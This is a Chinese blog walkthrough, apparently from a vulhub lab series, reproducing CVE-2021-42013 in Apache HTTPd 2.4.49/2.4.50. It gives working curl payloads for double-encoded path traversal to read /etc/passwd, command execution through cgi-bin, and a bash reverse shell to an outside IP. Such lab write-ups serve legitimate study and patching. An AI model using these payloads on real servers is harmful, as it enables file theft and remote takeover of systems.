【vulhub系列】CVE-2021-42013 Apache HTTPd 2.4.49 2.4.50 路径穿越以及RCE漏洞

新人笔者日常求关注,新人上路,大佬多多指点。谢谢。

文章目录

  • 漏洞概述

  • 环境搭建

  • 漏洞利用

  • 修复建议


漏洞概述

漏洞概述

Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新,披露了CVE-2021-42013 Apache HTTPd 2.4.49/2.4.50 路径穿越漏洞。由于对CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞的修复不完善,攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。CVE-2021-41773漏洞在v2.4.50版本中进行了修复。但修复版本中只处理了`/xx/.%2e/`这样的路径,而没有正确处理`/.%%32%65/`这种字符串,导致`/.%%32%65/`被带入后续的处理,仍然可造成目录穿越。攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。

同时若Apache HTTPd开启了cgi支持,攻击者可构造恶意请求执行命令,控制服务器。

CVE     ID

CVE-2021-42013

时      间

2021-10-07

类      型

RCE

等      级

严重

远程利用

影响范围

2.4.49、2.4.50


环境搭建

  1. 进入目标目录:cd /root/桌面/vulhub-master/httpd/CVE-2021-42013
  2. 打开dockers容器:
  3. docker-compose build
  4. docker-compose up -d
  5. 查看主机IP地址:ifconfig
  6. 查看容器开启的端口:docker ps
  7. 地址加端口查看服务:http://192.168.162.129:8080

示例:
 

 

ip+端口进入靶场网页,网页里面有一个“It works!”。

如图:

 

漏洞利用

使用CVE-2021-41773中的Payload发现已经无法使用,说明2.4.50进行了修复。

但我们可以使用.%%32%65进行绕过(注意其中的/icons/必须是一个存在且可访问的目录):

故,使用如下CURL命令来发送Payload:

curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

 可见,成功读取到/etc/passwd:

 在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:

curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
或者是
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.190.146/8888 0>&1' "http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

 

 


修复建议:

升级到Apache HTTP Server安全版本。

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值